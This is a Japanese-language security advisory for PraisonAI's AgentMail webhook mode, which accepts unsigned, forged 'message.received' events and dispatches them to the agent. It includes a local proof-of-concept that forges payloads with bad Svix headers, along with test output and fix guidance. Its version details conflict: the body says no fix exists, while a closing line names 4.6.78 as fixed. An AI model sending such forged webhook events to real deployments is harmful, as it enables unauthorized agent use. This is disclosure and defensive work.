PraisonAI: AgentMailのWebhookモードは、改ざんされた署名のない`message.received`イベントを受け入れ、エージェントを起動します。

# AgentMailのWebhookモードは、改ざんされた署名のない`message.received`イベントを受け入れ、エージェントを起動します。

## 概要

`praisonai`のAgentMailのWebhookモードは、パブリックなaiohttpのWebhookエンドポイントを公開しており、このエンドポイントは、AgentMailのSvixのWebhook署名を検証せずに、呼び出し元が制御できる`message.received`のJSONを受け入れます。その後、この改ざんされたメッセージを、設定されたエージェントセッションと応答パスに送信します。

## 技術的な詳細

影響を受けるのは、Webhookの認証です。AgentMailのWebhook検証に関するドキュメントでは、AgentMailがSvixを通じてWebhookを配信し、`svix-id`、`svix-timestamp`、および`svix-signature`ヘッダーを含んでいると記載されています。受信側は、イベントボディを信頼する前に、エンドポイントの署名シークレットを使用して、生の要求ボディを検証する必要があります。このシークレットは通常、`AGENTMAIL_WEBHOOK_SECRET`として保存されます。AgentMailのドキュメントに記載されている検証済みのペイロードの例は、`event_type`に基づいてルーティングされます。以下に示す改ざんされたペイロードは、意図的にPraisonAIが受け入れるハンドラ形状である`type`と`data`を使用しています。これは、署名検証を行う前に`_handle_email_webhook()`が受け入れる形状です。

`src/praisonai/praisonai/bots/agentmail.py`は、`AgentMailBot(mode=...)`または`mode`が`webhook`である`BotConfig`を通じて、Webhookモードを公開します。`_start_webhook_mode()`関数では、PraisonAIが`POST {webhook_path}`を登録し、aiohttpのサイトを、設定されたWebhookポートの`0.0.0.0`にバインドします。`config.webhook_url`が設定されている場合、同じメソッドが`client.webhooks.create(url=..., event_types=["message.received"], inbox_ids=...)`を呼び出しますが、返されたWebhookシークレットは保存または使用されません。

ハンドラは、解析されたJSONボディを信頼します。`_handle_email_webhook()`関数は、`await request.json()`を呼び出し、`body.get("type", "")`を読み込み、値が`message.received`の場合、`_process_webhook_payload(body)`をスケジュールし、`200 OK`を返します。この関数は、生のボディを読み込んだり、リクエストヘッダーを検査したり、`svix-id`、`svix-timestamp`、`svix-signature`を検証したり、イベントをスケジュールする前に、どのWebhookシークレットも確認しません。

`_process_webhook_payload()`関数は、攻撃者によって制御されるJSONフィールドから`BotMessage`オブジェクトを構築します。そのフィールドは、`data.message_id`、`data.from`/`data.from_`、`data.subject`、`data.extracted_text`/`data.text`、`data.thread_id`、および`data.in_reply_to`です。その後、`_handle_message(message)`関数を呼び出します。`_handle_message()`関数は、メッセージフックを起動し、`self._session.chat(self._agent, sender_id, body, ...)`を呼び出し、エージェントが応答を返した場合、AgentMailを通じて攻撃者によって制御される送信元アドレスに返信を試みます。

このレポートは、AgentMailのWebhookモードに限定されます。デフォルトのポーリングパスやWebSocketパスが影響を受けるという主張はしていません。WebSocketパスは、AgentMail SDK接続から型付きの`MessageReceivedEvent`インスタンスを受け取ります。一方、WebhookパスはパブリックなHTTP受信機能を持ち、そのため、イベントを解析/信頼する前に、独立した署名チェックが必要です。

## PoV(概念実証)

このPoVでは、偽のリクエストオブジェクトを使用して、Webhookハンドラを直接呼び出します。ポートをバインドしたり、AgentMailに接続したり、メールを送信したり、実際の認証情報を利用したりすることはありません。

偽装されたJSONは、PraisonAIが受け入れるWebhookハンドラの形式に従っています。それは、最上位に`type`フィールドがあり、その値が`message.received`であり、さらにネストされた`data`オブジェクトがあるという構造です。これは、標準的な署名付きAgentMailペイロードの形式ではありません。AgentMailの検証に関するドキュメントでは、Svixによる検証後に`event_type`を使用して検証されたメッセージが使用されていることが示されています。問題は、PraisonAIが認証されていない`type`/`data`ボディを受け入れ、AgentMailからのリクエストであることを検証する前に、それを処理することです。

重要なPoVの抜粋:

```python
class FakeRequest:
def __init__(self, body, headers=None, json_error=False):
self._body = body
self.headers = headers or {}
self._json_error = json_error

async def json(self):
if self._json_error:
raise ValueError("invalid json")
return self._body

bot = AgentMailBot(
token="am_local_test",
agent=object(),
inbox_id="assistant@example.test",
config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "assistant@example.test"
bot._email_address = "assistant@example.test"
bot._config = {}
bot._session = RecordingSession()

payload = {
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted_text": "invalid signature forged body",
},
}
headers = {
"svix-id": "msg_bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}

response = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))
await asyncio.sleep(0)
```

期待される脆弱な動作:レスポンスのステータスは`200`であり、無効なSvix署名は無視され、偽のセッションが、`sender_id`が`attacker@example.test`、`body`が`invalid signature forged body`に設定された、エージェントの呼び出しを1つ記録する。

## PoC

テストに使用したバージョン:

```text
846568c7a5d8ce9e71e56e4c213f027c04909753
```

ローカルの最新バージョンで実行:

```fish
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c
```

最新バージョンの出力:

```json
{
"label": "current-head-846568c",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
```

テスト中に確認された最新のリリースバージョンで実行します。

```fish
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47
```

`v4.6.62` の結果:

```json
{
"label": "v4.6.62-2a855c47",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
```

解釈:署名のない不正なWebhook JSONと、無効なSvixヘッダーを持つ不正なWebhook JSONは、どちらも`200`を返し、エージェントセッションに一度到達します。無効なJSONは`400`を返し、エージェントへの呼び出しは行われません。`message.received`ではないイベントは無視され、重複する`message_id`の値は重複排除されます。これらの結果は、ハンドラが意図した処理を実行していること、そして問題は、エージェントへのディスパッチ処理の前に、Webhookの認証検証が不足していることに起因することを証明しています。

## 影響

PraisonAIのオペレーターがAgentMailのWebhookモードを公開している場合、WebhookのURLにアクセスできるネットワーク上のどのデバイスからも、偽のAgentMailのメールイベントを送信し、設定されたPraisonAIエージェントを任意の送信者として呼び出すことが可能です。攻撃者は、メッセージID、送信者アドレス、件名、本文、およびボットが使用するスレッドのメタデータを制御できます。

具体的な問題は、認証されていないリモートエージェントの呼び出しであり、これは偽のAgentMailのWebhookイベントによって引き起こされます。影響は、デプロイされているエージェントとツールによって異なります。PraisonAIのデフォルト設定には、モデルの呼び出しや安全な自動承認ツールが含まれる場合があり、これにより、許可されていないモデル/APIの使用、偽のワークフロー入力、AgentMailの受信トレイのIDを使用した返信、および設定されたエージェントが機密情報やツールにアクセスできる場合に、機密性または完全性の問題が発生する可能性があります。

このレポートでは、デフォルトで任意のコードの実行、AgentMail自体の侵害、またはデフォルトのポーリングモードの回避を主張するものではありません。

推奨される深刻度: 高。推奨されるCVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` (8.6)。推奨されるCWE: `CWE-347` 暗号署名の不適切な検証、`CWE-306` 重要な機能に対する認証の欠如、および `CWE-287` 不適切な認証。

## 推奨される修正

Webhookの署名キーが設定されていない限り、AgentMailのWebhookモードは無効にします。`client.webhooks.create(...)`によって返されるAgentMailのWebhookキーを保存するか、既存のWebhookエンドポイントに対して、明示的な`agentmail_webhook_secret`/`AGENTMAIL_WEBHOOK_SECRET`の設定値を必須とします。

JSONの解析を信頼する前に、生の要求ボディを公式のSvix検証ツールで検証します。`_process_webhook_payload()`のスケジュール前に、`svix-id`、`svix-timestamp`、および`svix-signature`ヘッダーが欠落している、不正な形式、期限切れ、または無効である場合は拒否します。検証の入力として`await request.json()`を使用しないでください。署名検証には、正確な生のボディのバイトが必要です。

推奨される回帰テスト:

- ウェブフックモードで、設定された署名鍵がない場合、起動に失敗するか、`message.received`に対して`401`または`400`のエラーが返されます。
- 必須のSvixヘッダーがない場合、`_process_webhook_payload()`は呼び出されません。
- 無効なSvix署名の場合、`_process_webhook_payload()`は呼び出されません。
- 古いタイムスタンプの場合、`_process_webhook_payload()`は呼び出されません。
- 生データに対する有効なSvix署名の場合、`_process_webhook_payload()`が呼び出されます。
- 検証が成功した後も、重複した`message_id`の挙動は変わりません。

## 影響を受けるパッケージ/バージョン

影響を受けるパッケージ: `pypi:praisonai`.

テスト中に確認された最新のPyPIバージョン: `4.6.62`. 現在の最新版 `846568c7a5d8ce9e71e56e4c213f027c04909753` が影響を受けています。 最新のリリースバージョン `v4.6.62` は、コミット `2a855c470077c7d2e2479a575f7ef7f548d51c33` であり、影響を受けています。

サンプリングされたバージョン情報:

```text
v4.4.12 agentmail_absent
v4.5.16 agentmail_absent
v4.5.128 present_unsigned_webhook
v4.6.33 present_unsigned_webhook
v4.6.58 present_unsigned_webhook
v4.6.59 present_unsigned_webhook
v4.6.60 present_unsigned_webhook
v4.6.62 present_unsigned_webhook
current present_unsigned_webhook
```

保守的に推定される影響範囲: AgentMailのウェブフック機能を持つ`praisonai`のバージョンは、少なくとも`>= 4.5.128`から`<= 4.6.62`の範囲、および現在の最新版が該当します。 サンプリングされたバージョン`v4.4.12`と`v4.5.16`では、この機能は存在しませんでした。 修正されたバージョンや修正コミットは見つかりませんでした。

## 脆弱性情報履歴

PraisonAIの脆弱性情報を確認し、同じ根本原因、影響を受ける機能、および脆弱性の発生条件について調査しました。 AgentMailのウェブフックモードが、署名なしまたは無効なSvixの`message.received`イベントを受け入れ、それを`AgentMailBot._handle_message()`に転送する、という状況に完全に一致するものは見つかりませんでした。

関連する脆弱性情報は存在しません。

- `GHSA-fc26-m9pf-v56q`: 「PraisonAI LinearBotは、LINEAR_WEBHOOK_SECRETが設定されていない場合に、署名されていないWebhookを処理する」という問題は、Linearとの連携、およびシークレットが設定されていない場合の「fail-open」の状態に関するものです。このレポートは、AgentMailのWebhookモード、異なる連携、異なるハンドラ、異なるプロバイダーの署名方式、およびWebhookシークレットの検証パスが見当たらない状況を扱っています。
- `GHSA-x92v-rpx6-p6cw`: 「シークレットが設定されていない場合、Webhookの署名検証がスキップされる(fail-open)ため、偽のインバウンドWebhookが送信される可能性がある(WhatsAppおよびLinearのBot)」という問題は、WhatsApp/LinearのWebhook検証における「fail-open」の動作に関するものです。このレポートは、AgentMailおよびSvixによってサポートされるAgentMailのWebhook配信を扱っています。
- `GHSA-qvpf-j64c-jmhr`: 「PraisonAIのSlackアプリは、設定されたユーザー/チャネルの認証を回避する」という問題は、Slackのイベント認証に関するものであり、AgentMailのWebhookの真正性に関するものではありません。
- `GHSA-vg22-4gmj-prxw` / `CVE-2026-47391`: これらは、認証されていないA2Aの`message/send`に関するものであり、AgentMailのWebhookに関するものではありません。
- `GHSA-86qc-r5v2-v6x6`: これは、コールサーバーのトークンに関する問題であり、AgentMailのWebhook配信に関するものではありません。

パブリックプラットフォームの認証に関する注意点は、オブジェクトの所有権やワークスペースの認証など、プラットフォームのRBAC/IDORに関するものです。これらは、AgentMailのWebhookの真正性や、AgentMailの`message.received`の配信パスには適用されません。

## 参照

- AgentMailのWebhook検証に関するドキュメント:https://www.agentmail.to/docs/webhook-verification
- AgentMailのWebhook作成APIリファレンス:https://www.agentmail.to/docs/api-reference/webhooks/create
- PraisonAI LinearBotのWebhookに関する注意:https://github.com/MervinPraison/PraiseAI/security/advisories/GHSA-fc26-m9pf-v56q
- PraisonAI WhatsApp/LinearのWebhookに関する注意(フェイルオープン):https://github.com/MervinPraison/PraiseAI/security/advisories/GHSA-x92v-rpx6-p6cw
- PraisonAI Slackの認証に関する注意:https://github.com/MervinPraison/PraiseAI/security/advisories/GHSA-qvpf-j64c-jmhr
- MITRE CWE-347:https://cwe.mitre.org/data/definitions/347.html
- MITRE CWE-306:https://cwe.mitre.org/data/definitions/306.html
- MITRE CWE-287:https://cwe.mitre.org/data/definitions/287.html

## 付録A - 完全なPoVスクリプト

```python
#!/usr/bin/env python3
"""PraisonAI AgentMail webhookの認証に関するPoC。

このスクリプトは、偽のaiohttpリクエストを使用して、AgentMailのWebhookハンドラを直接呼び出します。
ポートをバインドしたり、AgentMailに接続したり、メールを送信したりすることはありません。
"""

from __future__ import annotations

import argparse
import asyncio
import json
import sys
import types
from pathlib import Path
from typing import Any

class FakeResponse:
def __init__(self, status: int = 200, text: str = "", content_type: str | None = None):
self.status = status
self.text = text
self.content_type = content_type

class FakeRequest:
def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):
self._body = body
self.headers = headers or {}
self._json_error = json_error

async def json(self) -> dict[str, Any]:
if self._json_error:
raise ValueError("invalid json")
return self._body or {}

class RecordingSession:
def __init__(self) -> None:
self.calls: list[dict[str, Any]] = []
```

```
async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -> str:
self.calls.append(
{
"sender_id": sender_id,
"body": body,
"chat_id": kwargs.get("chat_id"),
"message_id": kwargs.get("message_id"),
"account": kwargs.get("account"),
}
)
return "ローカルエージェントからの応答"

def install_fake_aiohttp() -> None:
web = types.SimpleNamespace(Response=FakeResponse)
sys.modules["aiohttp"] = types.SimpleNamespace(web=web)

def configure_import_path(repo: Path) -> None:
sys.path.insert(0, str(repo / "src" / "praisonai"))
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))

async def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -> dict[str, Any]:
before_calls = len(bot._session.calls)
before_sends = len(bot._sent_messages)
response = await bot._handle_email_webhook(request)
for _ in range(sleep_ticks):
await asyncio.sleep(0)
return {
"http_status": response.status,
"session_delta": len(bot._session.calls) - before_calls,
"send_delta": len(bot._sent_messages) - before_sends,
"session_calls": bot._session.calls[before_calls:],
"sent_messages": bot._sent_messages[before_sends:],
}

async def main_async(repo: Path, label: str) -> dict[str, Any]:
install_fake_aiohttp()
configure_import_path(repo)

from praisonai.bots.agentmail import AgentMailBot
from praisonaiagents.bots import BotConfig

bot = AgentMailBot(
token="am_local_test",
agent=object(),
inbox_id="assistant@example.test",
config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "assistant@example.test"
bot._email_address = "assistant@example.test"
bot._config = {}
bot._session = RecordingSession()
bot._sent_messages = []
```

```python
async def fake_send_message(**kwargs: Any) -> None:
bot._sent_messages.append(kwargs)

bot.send_message = fake_send_message

invalid_svix_headers = {
"svix-id": "msg_bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
```

cases: dict[str, Any] = {}
cases["forged_unsigned_message"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-unsigned",
"from": "attacker@example.test",
"subject": "Forged unsigned message",
"extracted_text": "unsigned forged body",
},
}
),
)
cases["forged_invalid_svix_signature"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted_text": "invalid signature forged body",
},
},
headers=invalid_svix_headers,
),
)
cases["invalid_json_control"] = await run_case(bot, FakeRequest(None, json_error=True))
cases["non_message_event_control"] = await run_case(
bot,
FakeRequest(
{
"type": "domain.verified",
"data": {
"message_id": "msg-non-message",
"from": "attacker@example.test",
"extracted_text": "should not be processed",
},
}
),
)
cases["duplicate_message_control"] = await run_case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Duplicate",
"extracted_text": "duplicate should not create a second call",
},
},
headers=invalid_svix_headers,
),
)

```
vulnerable = (
cases["forged_unsigned_message"]["http_status"] == 200
and cases["forged_unsigned_message"]["session_delta"] == 1
and cases["forged_invalid_svix_signature"]["http_status"] == 200
and cases["forged_invalid_svix_signature"]["session_delta"] == 1
and cases["invalid_json_control"]["http_status"] == 400
and cases["invalid_json_control"]["session_delta"] == 0
and cases["non_message_event_control"]["session_delta"] == 0
and cases["duplicate_message_control"]["session_delta"] == 0
)

return {
"label": label,
"repo": str(repo),
"vulnerable": vulnerable,
"finding": "AgentMail webhookハンドラは、署名されていないメッセージや無効なSvixメッセージ(event.received)を受け入れ、エージェントセッションに転送します。",
"cases": cases,
}

def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path, required=True)
parser.add_argument("--label", default="current-head")
args = parser.parse_args()
result = asyncio.run(main_async(args.repo.resolve(), args.label))
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if result["vulnerable"] else 1

if __name__ == "__main__":
raise SystemExit(main())
```

影響を受けるパッケージ:
- pip (Python) praisonai: 影響あり <= 4.6.77、4.6.78で修正済み。